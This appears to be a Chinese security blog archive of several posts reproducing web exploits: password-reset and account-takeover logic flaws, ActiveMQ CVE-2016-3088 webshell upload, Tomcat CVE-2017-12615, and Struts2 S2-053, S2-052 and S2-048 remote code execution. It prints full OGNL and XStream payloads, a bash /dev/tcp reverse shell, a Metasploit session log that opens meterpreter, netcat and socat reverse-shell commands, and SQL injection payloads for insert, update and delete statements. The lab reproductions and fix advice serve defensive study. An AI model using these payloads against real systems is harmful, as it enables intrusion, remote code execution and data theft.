分类目录归档:应用安全

任意用户登录和密码重置姿势总结

1、验证码暴力破解

手机或者邮箱验证码可枚举破解。

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-029132.html

 

2、验证码直接返回

服务器直接将验证码返回,例如某APP找回密码返回包。

另外还有返回在Cookie中,例如

另外还有可能在返回的页面源码中,需要注意提交的每一个参数。

参考链接:http://wooyun.jozxing.cc/static/bugs/wooyun-2012-04728.html

密码找回问题的答案隐藏在HTML中。

 

3、跳过验证步骤

输入重置账号后,跳过验证步骤,直接访问重置密码页面。

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-042404.html

 

4、利用邮箱、手机号绑定

绑定用户邮箱的时候,可以通过修改uid将其他用户的邮箱绑定为自己的,从而任意重置用户密码。

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2012-08307.html

 

5、三方登录绑定其他用户

例如绑定微博账号的时候,先登录微博并且获取code,然后绑定code和UID的请求如下:

thirdPartyType=1&uid=60570181&state=test&code=fb3a6454736e15534486c5a214067943

通过修改uid可以绑定将自己的微博绑定到其他用户账号,然后通过微博登录就可以登录任意用户账号。

 

6、没有验证验证码接受手机号是否与username或者session一致

例如发送验证码的请求如下:

username=***&mobilePhone=***&randcodeAjax=6119

没有验证username是否和mobilePhone一致,通过修改mobilePhone为自己的手机号接受验证码。

 

7、本地验证绕过

客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,最终导致欺骗客户端,误以为我们已经输入了正确的验证码。

例如将返回包中的0修改为1即可绕过验证。

 

8、重置密码最后一步uid或者username可控

重置密码最后一步,重置账户通过用户传递的uid或者username控制,导致修改该UID即可重置其他用户密码。

 

9、个人中心修改密码逻辑错误

当前密码的校验和修改新密码是单独分开的两个包。所以可以理解为没有校验当前密码。

修改密码的请求中如下:

ssouid=***&passwd=***

修改该ssouid即可。

 

10、利用session重新绑定用户

重置密码最后一步是通过session获取用户名,然后再重置。而用户名是在重置密码第一步时与session进行绑定,那么如果重置密码的最后一步程序并没有验证该用户是够走完了验证流程,那么就可以通过重新绑定session为其他账号从而达到任意密码重置目的。

参考我之前提的案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0114804.html

 

11、接口暴露导致登录任意账户

测试过程中发现***.com/uc/md5Encode?encodeStr=这个连接会返回一个加密串pkey,而测试使用微博账号登录时,微博登录成功后,接口会返回的Oauth Code

然后站点会跳转到

***.com/api/thirdpart/backinvoke.shtm?thirdPartyType=1&state=test&code=ab8be935aba7d6857****64523524218

会返回一个自动提交的表单,内容如下:

可以看到这个是防篡改了做了校验,如果我修改该username的值那么pkey的值就不匹配,无法成功登录。

而我们知道这个暴露了一个加密接口,我们组合上述字段的值提交给该接口发现pkey是吻合的。这就意味着防篡改验证失效,我可以通过修改username和该pkey值登录任意账户。

 

12、重置密码Token可控

重置密码最后一步的URL中的Key在之前的步骤中可以获得。

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-058210.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-094242.html

 

13、去掉验证参数绕过验证

邮件系统取回密码功能设计逻辑错误,存在认证绕过漏洞,通过抓取数据包可通过修改报文,将找回问题答案参数删除后,直接进行对密码更改

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-088927.html

 

14、邮箱找回Token可预测

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-090226.html

token是当前的时间

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2012-08333.html

token为时间戳MD5值

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-027138.html

token为md5($code.$email)

 

15、邮箱找回Token未与用户ID绑定

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-024956.html

虽然有Token,但是没有和用户绑定,仍然可以通过修改username重置其他用户密码。

 

16、绑定手机和邮箱处CSRF

没有Token和验证码

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-028893.html

 

 

ActiveMQ CVE-2016-3088

漏洞描述

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求),可以MOVE到admin目录下直接GETShell。

 

影响版本

Apache Group ActiveMQ 5.0.0 – 5.13.2

 

CVE编号

CVE-2016-3088

 

复现过程

下载地址:http://archive.apache.org/dist/activemq/5.10.1/apache-activemq-5.10.1-bin.tar.gz

解压:tar -xzf apache-activemq-5.10.1-bin.tar.gz

启动:./activemq start

[root@server120 conf]# netstat -antlp | grep 8161

tcp        0      0 :::8161                     :::*                        LISTEN      23502/java

默认认证已经开启,配置文件jetty.xml

    <bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">

        <property name="name" value="BASIC" />

        <property name="roles" value="user,admin" />

        <!-- set authenticate=false to disable login -->

        <property name="authenticate" value="true" />

    </bean>

authenticate设置为false,可以未授权访问。

用户名密码的配置文件jetty-realm.properties

默认为:

admin: admin, admin

user: user, user

这里必须将admin账户修改为强密码。否则就可以利用未授权访问或者默认弱密码上传Webshell。

 

ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,用户可以上传文件到指定目录,该路径在 conf/jetty.xml 中定义

                        <bean class="org.eclipse.jetty.webapp.WebAppContext">

                            <property name="contextPath" value="/fileserver" />

                            <property name="resourceBase" value="${activemq.home}/webapps/fileserver" />

                            <property name="logUrlOnStart" value="true" />

                            <property name="parentLoaderPriority" value="true" />

                        </bean>

 

上传SHELL

这里我随便上传一个文件

[root@server120 apache-activemq-5.10.1]# cat webapps/fileserver/1.jsp

hehe123

这里首先爆上传目录

可以看到上传目录为/tmp/apache-activemq-5.10.1webapps/fileserver/

然后PUT上传cmd.jsp

fileserver目录是不解析jsp的,因为刚才通过爆路径获取到了绝对路径,这里MOVE到admin目录下。

然后执行命令

 

上传公钥

生成公钥并上传

然后移动到authorized_keys

 

上传定时任务

[root@server120 ~]# cat /tmp/xxoo.txt^M

123

 

修复建议

ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启);

在5.14.0版本以后,彻底删除了fileserver应用。

 

 

 

Tomcat远程代码执行漏洞CVE-2017-12615

CVE号:
CVE-2017-12615

漏洞危害:

默认Tomcat是禁止PUT和DELETE方法的,在tomcat中conf下的web.xml中:
可以看到关于readonly的解释
Is this context “read only”, so HTTP commands like PUT and DELETE are rejected?  [true]
可以看到默认是True,即不允许delete和put操作,会返回403。

如果不想限制的话,可以在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数中添加
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

另外还可以修改应用中的web.xml
<?xml version=”1.0″ encoding=”UTF-8″?>
<web-app xmlns=”http://Java.sun.com/xml/ns/j2ee”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xsi:schemaLocation=”http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd”
version=”2.4″>
的下面添加
<security-constraint>
<web-resource-collection>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>

直接PUT上传Webshell。

一开始影响平台为Windows,受影响版本为Apache Tomcat 7.0.0 – 7.0.81。

复现过程如下
默认是无法上传jsp文件的

Windows环境下利用Windows 的特性。其一是 NTFS 文件流

其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)

后来披露Linux 和 Windows 服务器平台下从5.x到9.x全部的Tomcat版本都受影响,当 PUT 地址为/1.jsp/时,仍然会创建 JSP。
Windows下Apache Tomcat/8.0.46:

Linux下Apache Tomcat/8.0.46

这里有朋友问Nginx方向代理到Tomcat上,后端的Tomcat如果开启了PUT方法是否受影响,其实Nginx本身没有禁止PUT方法,所以还是会转发到后端,同样是受影响。

参考文章:
http://www.freebuf.com/vuls/148283.html

 

【Struts2】S2-053

漏洞描述
当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。
当在Freemarker标签中使用表达式常量或强制表达式时使用请求值可能会导致远程代码执行漏洞(见下面的示例)。
<@s.hidden name=”redirectUri” value=redirectUri />
<@s.hidden name=”redirectUri” value=”${redirectUri}” />
在这两种情况下,值属性都使用可写属性,都会受到Freemarker的表达式的影响。

CVE
CVE-2017-12611

受影响版本
Struts 2.0.1 – Struts 2.3.33
Struts 2.5 – Struts 2.5.10

漏洞测试

[root@mail ~]# systemctl start docker.service

下载Image

[root@mail ~]# docker pull medicean/vulapps:s_struts2_s2-053

列出镜像列表

[root@mail ~]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
docker.io/medicean/vulapps s_struts2_s2-053 91603dee10fd 4 days ago 297.7 MB
docker.io/medicean/vulapps s_struts2_s2-052 dd0f12c42bc5 7 days ago 341.8 MB

启动容器

docker run -d -p 80:8080 91603dee10fd

查看当前运行的容器

[root@mail ~]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7ad5e8fd7ae7 91603dee10fd "/usr/local/tomcat/bi" 2 minutes ago Up 2 minutes 0.0.0.0:80->8080/tcp peaceful_raman

POC

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}

参考文章
http://anquan.360.cn/news/detail/4295.html

 

【Struts2】S2-052

Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。Struts2启用了rest-plugin后并编写并设置了XStreamHandler后,可以导致远程命令执行这一严重问题。实际场景中存在一定局限性,需要满足一定条件,非struts本身默认开启的组件。

影响版本:
Version 2.5.0 to 2.5.12
Version 2.3.0 to 2.3.33

修复版本:
Struts 2.5.13
Struts 2.3.34

漏洞验证:
从struts2的官网下载最后受影响的版本struts-2.5.12,地址: http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip
部署项目struts2-rest-showcase.war,Edit后提交的时候,截断数据包。
修改Content-Type: application/xml
修改POST内容为:

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>C:/Windows/system32/calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

弹出计算机

需要注意JDK版本为1.8,低版本的JDK测试不行。
POC command标签内的空格需要以分开是string标签形式。
例如touch /tmp/xxx
需要写成

<command> 
<string>touch</string>
<string>/tmp/xxx</string>
</command>

Linux下实际测试自己搭建环境(CentOS6.5 apache-tomcat-8.0.46)
创建文件可以

<command> 
<string>touch</string>
<string>/tmp/xxx</string>
</command>

但是使用如下POC无法反弹shell(只能发出连接,无法反弹Bash),不知道和环境是否有关系。

<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/x.x.x.x/port 0>&amp;1</string>
</command>

还有测试过程如果不行可以清空tomcat目录下work目录再试试。

 

Linux下获取meterpreter
wget https://raw.githubusercontent.com/wvu-r7/metasploit-framework/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb
cp struts2_rest_xstream.rb /usr/share/metasploit-framework/modules/exploits/multi/http/
msfconsole

msf > use exploit/multi/http/struts2_rest_xstream

msf exploit(struts2_rest_xstream) > set rhost 172.16.100.155
rhost => 172.16.100.155
msf exploit(struts2_rest_xstream) > set lhost 172.16.100.177
lhost => 172.16.100.177

msf exploit(struts2_rest_xstream) > show options

Module options (exploit/multi/http/struts2_rest_xstream):

   Name       Current Setting                  Required  Description
   ----       ---------------                  --------  -----------
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      172.16.100.155                   yes       The target address
   RPORT      8080                             yes       The target port (TCP)
   SRVHOST    0.0.0.0                          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080                             yes       The local port to listen on.
   SSL        false                            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /struts2-rest-showcase/orders/3  yes       Path to Struts app
   URIPATH                                     no        The URI to use for this exploit (default is random)
   VHOST                                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter_reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.100.177   yes       The local listener hostname
   LPORT  8443             yes       The local listener port
   LURI                    no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Apache Struts 2.5 - 2.5.12

msf exploit(struts2_rest_xstream) > exploit 

[*] Started HTTPS reverse handler on https://172.16.100.177:8443
[*] Using URL: http://0.0.0.0:8080/tD86RKaLdwV
[*] Local IP: http://172.16.100.177:8080/tD86RKaLdwV
[*] Command Stager progress - 100.00% done (118/118 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.
msf exploit(struts2_rest_xstream) > exploit 

[*] Started HTTPS reverse handler on https://172.16.100.177:8443
[*] Using URL: http://0.0.0.0:8080/CFpeUWr3UO3b7s5
[*] Local IP: http://172.16.100.177:8080/CFpeUWr3UO3b7s5
[*] https://172.16.100.177:8443 handling request from 172.16.100.155; (UUID: tre5vh55) Redirecting stageless connection from /rw7AbVJ4D8RcPFo-BYSmjA9L-dN7OPSB7NnI1R5R97ZHeZ8zC6CFm7WTV9KBp4CWjTHPZ2nnj_9tLmcClEo3QwMO8YXRdG4HGoLfAcOWNx43fBFbD with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://172.16.100.177:8443 handling request from 172.16.100.155; (UUID: tre5vh55) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (172.16.100.177:8443 -> 172.16.100.155:58051) at 2017-09-13 17:32:56 +0800
[+] negotiating tlv encryption
[+] negotiated tlv encryption
[+] negotiated tlv encryption
[*] https://172.16.100.177:8443 handling request from 172.16.100.155; (UUID: tre5vh55) Redirecting stageless connection from /hkiZkZ_fW9LcAdoDhbknRgM_qsJFpQYWAWkJT5Qjt8QVFopVe0ypSG-eoVv9eKJp5I_n0ZKxaKy66ZT with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://172.16.100.177:8443 handling request from 172.16.100.155; (UUID: tre5vh55) Attaching orphaned/stageless session...
[*] Meterpreter session 2 opened (172.16.100.177:8443 -> 172.16.100.155:53330) at 2017-09-13 17:33:04 +0800
[+] negotiating tlv encryption
[+] negotiated tlv encryption
[+] negotiated tlv encryption
[*] Command Stager progress - 100.00% done (122/122 bytes)
[*] Server stopped.

meterpreter > sysinfo 
Computer     : 172.16.100.155
OS           : CentOS 6.5 (Linux 2.6.39)
Architecture : x64
Meterpreter  : x64/linux

修复建议:
1.官方建议设置插件处理的数据类型限定为json
<constant name=”struts.action.extension” value=”xhtml,,json” />
2.升级Struts到2.5.13版本或2.3.34版本
3.在XStreamHandler中进行数据校验或检查

参考文章:
http://bobao.360.cn/learning/detail/4372.html
https://github.com/jas502n/St2-052

将简单的Shell升级为交互式

1)Python pty模块
对于已经安装了python的系统,我们可以使用python提供的pty模块命令如下:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
测试如下:

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42425
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin

不过还是无法使用向上使用历史命令、Ctrl+C、Tab补全。

2)使用socat
监听命令:

socat file:`tty`,raw,echo=0 tcp-listen:4444

反弹命令:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.192.144:4444

测试如下:

[root@server144 src]# socat file:`tty`,raw,echo=0 tcp-listen:4444 
[root@server120 src]# whoami
root
[root@server120 src]# sleep 5
^C
[root@server120 src]#

支持向上使用历史命令、Ctrl+C、Tab补全。

3)使用stty选项
刚才测试发现第一种方法不支持向上使用历史命令、Ctrl+C、Tab补全,可使用stty选项升级。
首先和第一种方法一样

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42450
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# ^Z
[1]+ Stopped ./netcat -vv -l -p 2345
[root@server144 src]# echo $TERM
xterm
[root@server144 src]# stty -a
speed 38400 baud; rows 31; columns 104; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts -cdtrdsr
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel
-iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke

所需的信息是TERM类型(”xterm”)和当前TTY的大小(31行;104列)

[root@server144 src]# stty raw -echo

输入fg并执行(这里看不到输入,使用raw stty,可能看不到下一个命令,但是当你键入时,它们则会被执行。)

$ reset
$ export SHELL=bash
$ export TERM=xterm
$ stty rows 31 columns 104

然后就能支持向上使用历史命令、Ctrl+C、Tab补全。

参考文章:
http://www.freebuf.com/news/142195.html

【Struts2】S2-048

漏洞编号
CVE-2017-9791

漏洞描述
在Struts 2.3.x 系列的 Showcase 应用中演示Struts2-struts1-plugin插件中存在一处任意代码执行漏洞。当你的应用使用了Struts2-struts1-plugin时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行。

[root@server144 webapps]# ll struts2-showcase/WEB-INF/lib/struts2-struts1-plugin-2.3.20.jar
-rw-r--r-- 1 root root 32799 Nov 21 2014 struts2-showcase/WEB-INF/lib/struts2-struts1-plugin-2.3.20.jar

漏洞测试:

http://192.168.192.144:32108/struts2-showcase/integration/editGangster.action

提交name值为:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

解决方案:
1)停用 showcase.war
2)开发者通过使用 resource keys 替代将原始消息直接传递给 ActionMessage 的方式。 如下所示:

messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));

请不要使用如下的方式

messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));

参考链接:
http://www.mamicode.com/info-detail-1895073.html
https://github.com/jas502n/st2-048

【SQL注入】insert和update注入利用位运算符

我们先来假设insert和update有两个以上的列,并且我们是知道列数和列名的,表结构如下:

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | test | root@localhost |
| 2 | 0 | 123456 |
| 3 | 0 | pass |
| 4 | 0 | 0 |
+----+----------+----------------+
4 rows in set (0.00 sec)

insert

insert into users values (5,'{inject here}','password');

我们可以构造payload:

vinc',(select group_concat(distinct table_name) from information_schema.tables where table_schema = database()))-- -
mysql> select * from users where id = 5;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 5 | vinc | test,users |
+----+----------+------------+
1 row in set (0.00 sec)

 

update

update users set username='{injecthere}',password='pass' where id = 4;

我们可以构造payload:

vincent',password=(select group_concat(distinct table_name) from information_schema.tables where table_schema = database()) where id=4-- -
mysql> select * from users where id = 4;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 4 | vincent | test,users |
+----+----------+------------+
1 row in set (0.00 sec)

 

而如果insert和update只有一列的话,上面这种方式就不适用了。
这里可以利用位或运算符|或者位异或运算符^。
例如存在注入的环境如下:

insert into users values (17,'james', '{injecthere}');
update users set username='{injecthere}' where id = 4;

将字符串转换为整数:
String -> Hexadecimal -> Decimal

mysql> select conv(hex(version()), 16, 10);
+--------------------------------+
| conv(hex(version()), 16, 10) |
+--------------------------------+
| 58472576987956 |
+--------------------------------+

Decimal -> Hexadecimal -> String

mysql> select unhex(conv(58472576987956, 10, 16));
+-------------------------------------+
| unhex(conv(58472576987956, 10, 16)) |
+-------------------------------------+
| 5.5.34 |
+-------------------------------------+

需要注意的是,字符串的最大长度为8

mysql> select conv(hex('xxxxxxxx'), 16, 10);
+-------------------------------+
| conv(hex('xxxxxxxx'), 16, 10) |
+-------------------------------+
| 8680820740569200760 |
+-------------------------------+
1 row in set (0.00 sec)

当超过8位时,就是BIGINT的最大值

mysql> select conv(hex('xxxxxxxxx'), 16, 10);
+--------------------------------+
| conv(hex('xxxxxxxxx'), 16, 10) |
+--------------------------------+
| 18446744073709551615 |
+--------------------------------+
1 row in set (0.00 sec)

所以只能够每8位依次读取

select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
mysql> select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) |
+--------------------------------------------------------+
| 8245931987826405219 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) |
+--------------------------------------------------------+
| 107118236496756 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10,16)));
+--------------------------------------------------------------------------------------+
| concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10,16))) |
+--------------------------------------------------------------------------------------+
| root@localhost |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

我们可以利用位或运算符|构造payload如下:

' | conv(hex(database()), 16, 10) | '
mysql> insert into users values (22,'james', '' | conv(hex(database()), 16, 10) | '');
Query OK, 1 row affected, 2 warnings (0.00 sec)
mysql> select * from users where id = 22;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 22 | james | 1952805748 |
+----+----------+------------+
1 row in set (0.00 sec)

然后我们转换为字符串

mysql> select unhex(conv(1952805748, 10,16));
+--------------------------------+
| unhex(conv(1952805748, 10,16)) |
+--------------------------------+
| test |
+--------------------------------+
1 row in set (0.00 sec)

同样可以使用位异或运算符^

mysql> insert into users values (23,'james', '' ^ conv(hex(database()), 16, 10) ^ '');
Query OK, 1 row affected, 2 warnings (0.00 sec)
mysql> select * from users where id = 23;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 23 | james | 1952805748 |
+----+----------+------------+
1 row in set (0.00 sec)

Limitations in MySQL 5.7
这种工作方式在5.7.5之后的版本无法使用。

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.17 |
+-----------+
1 row in set (0.00 sec)
mysql> insert into user(user,host) values ('vincent','xx' | conv(hex(database()), 16, 10));
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'xx'

因为在之后的版本Mysql默认是工作在Strict SQL Mode。在MySQL 5.7.17中,默认的SQL模式包括“strict_trans_tables”。

mysql> SELECT @@SESSION.sql_mode\G
*************************** 1. row ***************************
@@SESSION.sql_mode: ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
1 row in set (0.00 sec)

如果要解决这个问题,必须注入整数才能成功。

mysql> describe user;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(11) | YES | | NULL | |
| username | varchar(500) | YES | | NULL | |
| password | varchar(500) | YES | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)
mysql> insert into user values (0,'0' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10),'pass');
Query OK, 1 row affected (0.04 sec)
mysql> select * from user;
+------+---------------------+----------+
| id | username | password |
+------+---------------------+----------+
| 0 | 8245931987826405219 | pass |
+------+---------------------+----------+
1 row in set (0.01 sec)

参考文章


https://xianzhi.aliyun.com/forum/read/729.html?fpage=4
https://osandamalith.com/2017/02/08/mysql-injection-in-update-insert-and-delete/

【SQL注入】insert、update和delete报错注入

insert


这里我们用updatexml来演示
使用逻辑运算符(and or xor && ||)

mysql> insert into users values (3,'name' xor updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (5,'name' and updatexml(2,concat(0x7e,(version())),0) and '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用算数运算符(+ – * /)

mysql> insert into users values (3,'name'+updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'*updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用位运算符连接(| &)

mysql> insert into users values (3,'name'&updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'|updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

update


mysql> update users set username = 'name' and updatexml(2,concat(0x7e,(version())),0) and '' where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

delete


mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(version())),0) or '';
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

 

这里需要注意,insert和delete都可以读取当前表的数据,但是update不行,因为在update的子查询中不能出现相同的表名。
使用insert获取当前表的数据,如下:

mysql> insert into users values (5,'name' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) from users limit 0,1)),0) or '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~1~0~root@localhost'

使用delete获取当前表的数据,如下:

mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) fromusers limit 0,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~0~root@localhost'

而使用update获取不到,如下:

mysql> update users set username = 'test' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) from users limit 0,1)),0) where id = 5;
ERROR 1093 (HY000): You can't specify target table 'users' for update in FROM clause

这里可以使用:

